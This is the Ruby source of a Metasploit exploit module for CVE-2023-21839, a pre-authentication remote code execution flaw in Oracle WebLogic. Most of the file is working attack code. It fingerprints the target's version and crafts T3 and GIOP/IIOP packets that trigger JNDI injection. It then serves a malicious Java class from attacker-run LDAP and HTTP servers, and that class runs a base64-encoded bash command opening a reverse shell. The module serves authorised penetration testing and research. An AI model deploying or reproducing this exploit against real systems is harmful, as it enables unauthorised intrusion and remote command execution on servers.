##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::Tcp
  include Exploit::Remote::JndiInjection
  prepend Msf::Exploit::Remote::AutoCheck

  # Page 19 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf explains these codes.
  GIOP_REQUEST = 0
  GIOP_REPLY = 1
  GIOP_CANCEL_REQUEST = 2
  GIOP_LOCATE_REQUEST = 3
  GIOP_LOCATE_REPLY = 4
  GIOP_CLOSE_CONNECTION = 5
  GIOP_MESSAGE_ERROR = 6
  GIOP_FRAGMENT = 7

  # Taken from page 561 of https://www.omg.org/spec/CORBA/3.0.3/PDF
  SYNCSCOPE_NONE = 0
  SYNCSCOPE_WITH_TRANSPORT = 0
  SYNCSCOPE_WITH_SERVER = 1
  SYNCSCOPE_WITH_TARGET = 3

  # Taken from page 588 of https://www.omg.org/spec/CORBA/3.0.3/PDF
  ADDR_DISPOSITION_KEYADDR = 0
  ADDR_DISPOSITION_PROFILE_ADDR = 1
  ADDR_DISPOSITION_REFERENCE_ADDR = 2

  # GIOP Protocol RequestReply Header Codes
  # Type is ReplyStatusType -> Taken from page 24 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf
  NO_EXCEPTION = 0
  USER_EXCEPTION = 1
  SYSTEM_EXCEPTION = 2
  LOCATION_FORWARD = 3

  # GIOP Protocol LocateReply Header Codes
  # Taken from page 28 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf
  UNKNOWN_OBJECT = 0
  OBJECT_HERE = 1
  OBJECT_FORWARD = 2

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization',
        'License' => MSF_LICENSE,
        'Author' => [
          '4ra1n', # From X-Ray Security Team of Chaitin Tech. The researcher who originally found this vulnerability and wrote the PoC.
          '14m3ta7k', # Of gobysec team. Wrote the writeup and analysis of this vulnerability.
          'Grant Willcox' # @tekwizz123 This Metasploit module
        ],
        'Description' => %q{
          Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated
          remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes
          a "ForeignOpaqueReference" class object, deserializes it on the target, and then post deserialization, calls the
          object's "getReferent()" method, which will make use of the "ForeignOpaqueReference" class's "remoteJNDIName" variable,
          which is under the attackers control, to do a remote loading of the JNDI address specified by "remoteJNDIName" via
          the "lookup()" function.

          This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting
          a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to
          create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java
          code during the instantiation of the object, thereby getting remote code execution as the "oracle" user.

          This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will
          then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java
          class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file,
          at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate
          an instance of that class, granting us RCE as the "oracle" user.

          This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability
        },
        'References' => [
          ['CVE', '2023-21839'],
          ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory
          ['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup
          ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP
          ['URL', 'https://github.com/4ra1n/CVE-2023-21839'], # PoC
          ['URL', 'https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability'] # EITW alert.
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'Linux', {
              'Platform' => %w[unix linux],
              'Arch' => [ARCH_CMD],
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-01-17',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(7001),
        OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080])
      ]
    )
  end

  def get_weblogic_version
    socket = connect
    http_request = Rex::Proto::Http::ClientRequest.new(
      {
        'uri' => '/console/login/LoginForm.jsp',
        'vhost' => datastore['RHOST'],
        'port' => datastore['RPORT']
      }
    ).to_s
    socket.put(http_request.to_s)
    res = socket.get
    fail_with(Failure::UnexpectedReply, 'Could not get the Weblogic login page') unless res

    # Disconnect as we will want a new socket for future connections.
    disconnect

    # Do the regex on the result to find the version.
    version = res.match(/WebLogic Server Version: ((?:\d{1,3}\.){4}\d{1,3})/)
    fail_with(Failure::UnexpectedReply, 'Could not get the version information from the Weblogic login page') if version.nil?
    version = version[1]

    Rex::Version.new(version)
  end

  def giop_header(msg_type)
    header = ''
    header << 'GIOP' # Magic
    header << "\x01\x02" # Version, in this case 1.2 of the GIOP protocol.
    header << "\x00" # Message flags
    case msg_type
    when GIOP_REQUEST, GIOP_CANCEL_REQUEST, GIOP_LOCATE_REQUEST, GIOP_MESSAGE_ERROR, GIOP_FRAGMENT
      header << [msg_type].pack('C')
    else
      fail_with(Failure::BadConfig, 'Attempt was made to send a packet with an invalid GIOP header!')
    end
    header << 'LENGTH_REPLACE_ME'
  end

  # LocateRequest packets are used to determine whether an object reference is valid,
  # whether the current server is capable of directly receiving request for the object reference,
  # and if not, to what address the request for the object should be sent.
  #
  # Taken from https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf page 27
  def giop_locate_request_packet(keyaddress = 'NameService')
    header = giop_header(GIOP_LOCATE_REQUEST) # GIOP Header with LocateRequest attribute
    data = ''
    packet = ''

    @request_id = 1 if @request_id.nil?
    @request_id += 1
    data << [@request_id].pack('N') # Request ID
    data << [0].pack('n') # TargetAddress, 2 byte field
    data << [0].pack('n') # Padding, 2 bytes
    data << [keyaddress.length].pack('N') # Key Address Length
    data << keyaddress

    packet << header
    packet << data
    packet.gsub!('LENGTH_REPLACE_ME', [data.length].pack('N'))

    packet
  end

  def create_service_context(vscid, scid, context_data, endian = 0)
    context = ''
    seq_length = context_data.length + 1 # Add 1 to account for the endian byte being part of the sequence length.
    context << vscid # 3 byte long VSCID
    context << [scid].pack('C') # 1 byte long SCID
    context << [seq_length].pack('N') # 4 byte long sequence length
    context << [endian].pack('C') # 1 byte indicator of endianness. 0 is big endian, 1 is little endian.
    context << context_data

    context
  end

  def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, context_list_length)
    header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute
    data = ''
    packet = ''

    @request_id = 1 if @request_id.nil?
    @request_id += 1
    data << [@request_id].pack('N') # Request ID
    data << [sync_scope].pack('C') # Response flags
    data << "\x00\x00\x00" # Reserved
    data << [addr_disposition].pack('n') # TargetAddress, 2 bytes
    data << [0].pack('n') # Two bytes of padding.
    data << [key_address.length].pack('N') # Key Address Length
    data << key_address
    data << [11].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name?
    data << "rebind_any\x00" # Request Operation

    service_context_list = ''
    service_context_list << "\x00" # Seems we have one byte of padding? Lets account for this.
    service_context_list << [context_list_length].pack('N') # Sequence Length
    service_context_list << '{SERVICE_CONTEXT_LIST}'

    @java_class_name = 'PayloadRuns'
    ldap_uri = jndi_string(@java_class_name)
    stub_data += [ldap_uri.length].pack('C') + ldap_uri

    data << service_context_list
    data << stub_data

    packet << header
    packet << data

    packet
  end

  def goip_resolve_request_packet(sync_scope, addr_disposition, key_address, context_list_length, cos_naming_disector, seq_len)
    header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute
    data = ''
    packet = ''

    @request_id = 1 if @request_id.nil?
    @request_id += 1
    data << [@request_id].pack('N') # Request ID
    data << [sync_scope].pack('C') # Response flags
    data << "\x00\x00\x00" # Reserved
    data << [addr_disposition].pack('n') # TargetAddress, 2 bytes
    data << [0].pack('n') # Two bytes of padding.
    data << [key_address.length].pack('N') # Key Address Length
    data << key_address
    data << [8].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name?
    data << "resolve\x00" # Request Operation

    service_context_list = ''
    service_context_list << [context_list_length].pack('N') # Sequence Length
    service_context_list << '{SERVICE_CONTEXT_LIST}'

    cos_data = ''
    if cos_naming_disector
      cos_data << "\x00\x00\x00\x00"
      cos_data << [seq_len].pack('N') # Sequence length
      name_component = "test\x00"
      cos_data << [name_component.length].pack('N') # Name component length including NULL byte.
      cos_data << name_component
      cos_data << "\x00\x00\x00\x00\x00\x00\x01\x00" # Unknown data, Wireshark could not decode this.
    end

    data << service_context_list
    data << cos_data

    packet << header
    packet << data

    packet
  end

  def check
    begin
      @version = get_weblogic_version
      fail_with(Failure::UnexpectedReply, 'Could not find the target Weblogic version in the t3 response!') if @version.nil?
    rescue ::Timeout::Error
      fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.')
    rescue Rex::AddressInUse
      fail_with(Failure::BadConfig, 'Address is currently in use')
    rescue Rex::HostUnreachable
      fail_with(Failure::Unreachable, 'Target host is unreachable!')
    rescue Rex::ConnectionRefused
      fail_with(Failure::Disconnected, 'Target refused connection!')
    rescue ::Errno::ETIMEDOUT, Rex::ConnectionTimeout
      fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.')
    end

    if @version.between?(Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.3.9999'))
      return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable!')
    elsif @version.between?(Rex::Version.new('12.2.1.4.0'), Rex::Version.new('12.2.1.4.9999'))
      return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.4 server, and is vulnerable!')
    elsif @version.between?(Rex::Version.new('14.1.1.0.0'), Rex::Version.new('14.1.1.0.9999'))
      return CheckCode::Vulnerable('Target is a Oracle WebServer 14.1.1.0 server, and is vulnerable!')
    else
      return CheckCode::Safe('Target is not a vulnerable version of Oracle WebServer!')
    end
  end

  # HTTP Server Related Functions and Overrides

  # Returns the configured URIPATH along with the path to the Java class we are serving
  def resource_uri
    "#{datastore['URIPATH']}/#{@java_class_name}.class"
  end

  # Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of
  # this URL when it tries to fetch the class to be loaded and instantiated.
  def ldap_url_string
    "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/"
  end

  #
  # Handle the HTTP request and return a response.  Code borrowed from:
  # msf/core/exploit/http/server.rb
  #
  def start_http_service(opts = {})
    # Start a new HTTP server
    @http_service = Rex::ServiceManager.start(
      Rex::Proto::Http::Server,
      (opts['ServerPort'] || bindport).to_i,
      opts['ServerHost'] || bindhost,
      datastore['SSL'],
      {
        'Msf' => framework,
        'MsfExploit' => self
      },
      opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),
      datastore['SSLCert'],
      datastore['SSLCompression'],
      datastore['SSLCipher'],
      datastore['SSLVersion']
    )
    @http_service.server_name = datastore['HTTP::server_name']
    # Default the procedure of the URI to on_request_uri if one isn't
    # provided.
    uopts = {
      'Proc' => method(:on_request_uri),
      'Path' => resource_uri
    }.update(opts['Uri'] || {})
    proto = (datastore['SSL'] ? 'https' : 'http')

    netloc = opts['ServerHost'] || bindhost
    http_srvport = (opts['ServerPort'] || bindport).to_i
    print_status("Serving Java code on: #{proto}://#{Rex::Socket.to_authority(netloc, http_srvport)}#{uopts['Path']}")

    # Add path to resource
    @service_path = uopts['Path']
    @http_service.add_resource(uopts['Path'], uopts)
  end

  #
  # Kill HTTP service (shut it down and clear resources)
  #
  def cleanup
    # Stop the LDAP server
    cleanup_service

    # Clean and stop HTTP server
    if @http_service
      begin
        @http_service.remove_resource(datastore['URIPATH'])
        @http_service.deref
        @http_service.stop
        @http_service = nil
      rescue StandardError => e
        print_error("Failed to stop http server due to #{e}")
      end
    end
    super
  end

  #
  # Handle HTTP requests and responses
  #
  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    vprint_good("Payload requested by #{cli.peerhost} using #{agent}")
    class_raw = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class'))
    base64_payload = Rex::Text.encode_base64(payload.encoded)
    exec_command_length = 'bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}'.length
    command_length = (exec_command_length - 'PAYLOAD'.length) + base64_payload.length
    class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('n'))
    class_raw = class_raw.gsub('PAYLOAD', base64_payload)
    send_response(cli, 200, 'OK', class_raw)
  end

  #
  # Create an HTTP response and then send it
  #
  def send_response(cli, code, message = 'OK', html = '')
    proto = Rex::Proto::Http::DefaultProtocol
    res = Rex::Proto::Http::Response.new(code, message, proto)
    res.body = html
    cli.send_response(res)
  end

  # LDAP Server Overrides
  def build_ldap_search_response_payload
    # Always do a remote load
    # Note that for reasons unknown this URL cannot be anything but the base URL of the HTTP server.
    # You can add anchor tags using # to the URL but thats it.
    build_ldap_search_response_payload_remote(ldap_url_string, @java_class_name)
  end

  # Main Exploit
  def exploit
    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
      fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!')
    end

    if @version.blank?
      @version = get_weblogic_version
    end

    # Step 1 - Make T3 connection to start IIOP connection process, and read response.
    socket = connect
    print_status('1. Making T3 connection...')
    socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}\n\n")
    _buf = socket.get
    disconnect
    print_good('Made T3 connection!')

    # Step 2 - Send first GIOP LocateRequest packet
    print_status('2. Sending first GIOP LocateRequest packet')
    # Make a GIOP LocateRequest packet request and read response.
    socket = connect
    socket.put(giop_locate_request_packet)
    locate_buf = socket.get
    disconnect
    print_good('Step 2 complete!')

    reply_status = locate_buf[16..19].unpack('N')&.dig(0)
    if reply_status != OBJECT_FORWARD
      fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!')
    end

    # Calculate the target port

    # Start at offset 0x60 which will be inside the GIOP's LocateReply message,
    # and will be where the IP address is located in the IOR response.
    port_offset = 0x60

    # Starting at this offset above, loop until we hit a zero byte in the IOR buffer.
    # This works because the PORT number is represented as a 4 byte long number, aka 32 bits,
    # and the upper part will never be used. Either that or there is a \x00\x00 padding section
    # between the IP address and the port.
    loop do
      if locate_buf[port_offset] != "\x00"
        port_offset += 0x1
      else
        break
      end
    end

    # If port_offset is too large by this point then we have likely hit an error and should exit
    if port_offset > 10240
      fail_with(Failure::UnexpectedReply, 'Response from server when calculating port_offset was malformed!')
    end

    # Now, loop until we hit a non-zero byte in the IOR buffer. This should
    # place at the location of the port part of the IP address that is embedded in the IOR message.
    loop do
      if locate_buf[port_offset] == "\x00"
        port_offset += 0x1
      else
        break
      end
    end

    port = []
    port.append(locate_buf[port_offset])
    port_offset += 1
    port.append(locate_buf[port_offset])

    # Reformulate the port number from the array so we can get the actual port the target server is expecting us to use.
    final_port = port[1].bytes[0] | (port[0].bytes[0] << 8)

    # Fail if the received port is not the one we expected.
    if final_port != datastore['RPORT']
      fail_with(Failure::UnexpectedReply, "Target did not respond with the same RPORT in the GIOP LocateReply message as the one we expected. Expected #{datastore['RPORT']} but got #{final_port}")
    end

    lt = port_offset - 0x60 # This will point us 1 byte into the request ID field of the GIOP LocateReply message.
    foff = 0x60 + lt + 0x75 # This points us at some point within the IOR object that is just before the bytes   V~QU5z�U 

    loop do
      if locate_buf[foff] == "\x00"
        foff += 0x1
      else
        break
      end
    end

    key1 = locate_buf[foff...foff + 8]
    key2 = "\xff\xff\xff\xff" + locate_buf[foff + 4...foff + 8]

    if @version >= Rex::Version.new('12') && @version < Rex::Version.new('13')
      wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \
                  "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \
                  "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \
                  "\x00\x00\x00\x00\x00\x00\x00{{key1}}"
      wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \
                  "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \
                  "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \
                  "\x00\x00\x00\x00\x00\x00\x00{{key1}}"
    elsif @version >= Rex::Version.new('14') && @version < Rex::Version.new('15')
      wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64" \
                  "\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c" \
                  "\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d" \
                  "\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00" \
                  "\x00\x00\x00\x00\x01\x42\x45\x41\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}"
      wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65" \
                  "\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72" \
                  "\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43\x6f\x6e\x74\x65" \
                  "\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41" \
                  "\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}"
    else
      fail_with(Failure::NoTarget, 'Target is not running a supported version of Oracle Weblogic that can be targeted!')
    end

    wls_key_1.gsub!('{{key1}}', key1)

    # Step 3 - Make a rebindAny request
    key_addr = wls_key_1
    stub_data = "\x00\x00\x00\x01\x00\x00\x00\x04\x74\x65\x73\x74\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01" \
                "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x54\x52\x4d\x49\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x6a\x6e\x64\x69\x2e\x69" \
                "\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x46\x6f\x72\x65\x69\x67\x6e\x4f\x70\x61\x71\x75\x65\x52\x65\x66\x65\x72\x65\x6e\x63\x65\x3a\x44\x32\x33\x37\x44\x39\x31\x43\x42\x32\x46\x30\x46\x36\x38" \
                "\x41\x3a\x33\x44\x32\x31\x35\x32\x37\x46\x45\x44\x35\x39\x36\x45\x46\x31\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x23\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x43\x4f\x52\x42" \
                "\x41\x2f\x57\x53\x74\x72\x69\x6e\x67\x56\x61\x6c\x75\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x00"
    socket = connect
    packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, "\x00\x00\x00\x00" + stub_data, 6)

    context_data = ''
    @service_context_0 = create_service_context("\x00\x00\x00", 5, "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b")
    @service_context_1 = create_service_context("\x00\x00\x00", 1, "\x00\x00\x00\x00\x01\x00\x20\x05\x01\x00\x01")
    @service_context_2 = create_service_context("\x42\x45\x41", 0, "\x0a\x03\x01")

    context_data << @service_context_0
    context_data << @service_context_1
    context_data << create_service_context("\x00\x00\x00", 6, "\x00\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43" \
      "\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x01\x02\x00\x00\x00\x00" \
      "\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b\x00\x00\x00\x64\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \
      "\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61" \
      "\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x03\x31\x32\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2a\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x5e\xed\xaf\xde" \
      "\xbc\x0d\x22\x70\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x03\x00\x01\x00\x20\x00\x01\x00\x01\x05\x01\x00" \
      "\x01\x00\x01\x01\x00\x00\x00\x00\x03\x00\x01\x01\x00\x00\x01\x01\x09\x05\x01\x00\x01")
    context_data << create_service_context("\x00\x00\x00", 15, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00")
    context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")
    context_data << @service_context_2

    packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)

    # To find the true message size:
    # 1. Subtract an extra 12 bytes for GIOP header.
    # 2. Then subtract length of the LENGTH_REPLACE_ME string.
    # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.
    message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4
    packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))

    print_status('3. Sending rebindAny request!')
    socket.put(packet)
    rebind_any_buf = socket.get
    disconnect
    print_good('Step 3 complete!')

    reply_status_code = rebind_any_buf[16..19].unpack('N')&.dig(0)
    if reply_status_code != LOCATION_FORWARD
      fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!")
    end

    start_off = 0x64 + lt + 0xc0 + datastore['RHOST'].length + # SendingContextRuntime
                0xac + lt + # IOR ProfileHost ProfilePort
                0x5d # ObjectKey Prefix

    while rebind_any_buf[start_off] != 0x32
      if start_off > 0x2710
        break
      end

      start_off += 1
    end

    if start_off > 0x2710
      key3 = "\x32\x38\x39\x00"
    else
      key3 = rebind_any_buf[start_off...start_off + 4]
    end

    wls_key_2.gsub!('{{key3}}', key3)
    wls_key_2.gsub!('{{key1}}', key1)

    # Step 4 - rebind_any Request Again???
    socket = connect
    key_addr = wls_key_2
    packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, stub_data, 4)

    context_data = ''
    context_data << @service_context_0
    context_data << @service_context_1
    context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")
    context_data << @service_context_2

    packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)

    # To find the true message size:
    # 1. Subtract an extra 12 bytes for GIOP header.
    # 2. Then subtract length of the LENGTH_REPLACE_ME string.
    # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.
    message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4
    packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))

    print_status('4. Sending second rebindAny request!')
    socket.put(packet)
    rebind_any_buf_2 = socket.get
    disconnect
    print_good('Step 4 complete!')

    reply_status_code = rebind_any_buf_2[16..19].unpack('N')&.dig(0)
    if reply_status_code != NO_EXCEPTION
      fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!")
    end

    # Step 5 - Send second GIOP LocateRequest packet
    print_status('5. Sending second GIOP LocateRequest packet')
    socket = connect
    socket.put(giop_locate_request_packet)
    locate_buf_two = socket.get
    disconnect
    print_good('Step 5 complete!')

    reply_status_code = locate_buf_two[16..19].unpack('N')&.dig(0)
    if reply_status_code != OBJECT_FORWARD
      fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!")
    end

    # Step 6 - Resolve packet #1 with wls_key_1
    key_addr = wls_key_1
    packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1)

    context_data = ''
    context_data << @service_context_0
    context_data << @service_context_1
    context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")
    context_data << @service_context_2

    packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)

    # To find the true message size:
    # 1. Subtract an extra 12 bytes for GIOP header.
    # 2. Then subtract length of the LENGTH_REPLACE_ME string.
    # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.
    message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4
    packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))

    print_status('6. Sending resolve packet #1 with wls_key_1')
    socket = connect
    socket.put(packet)
    resolve_packet_wls_key_1 = socket.get
    disconnect
    print_good('Step 6 complete!')

    reply_status_code = resolve_packet_wls_key_1[16..19].unpack('N')&.dig(0)
    if reply_status_code != LOCATION_FORWARD
      fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!")
    end

    # Step 7 - Resolve packet #2 with wls_key_2
    key_addr = wls_key_2
    packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1)

    context_data = ''
    context_data << @service_context_0
    context_data << @service_context_1
    context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")
    context_data << @service_context_2

    packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)

    # To find the true message size:
    # 1. Subtract an extra 12 bytes for GIOP header.
    # 2. Then subtract length of the LENGTH_REPLACE_ME string.
    # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.
    message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4
    packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))

    start_service
    start_http_service('ServerPort' => datastore['HTTP_SRVPORT'].to_i)

    print_status('7. Sending resolve packet #2 with wls_key_2')
    socket = connect
    socket.put(packet)
    step_7_response = socket.get
    disconnect
    print_good('Step 7 complete!')

    reply_status_code = step_7_response[16..19].unpack('N')&.dig(0)
    if reply_status_code != USER_EXCEPTION
      fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!")
    end
  end
end
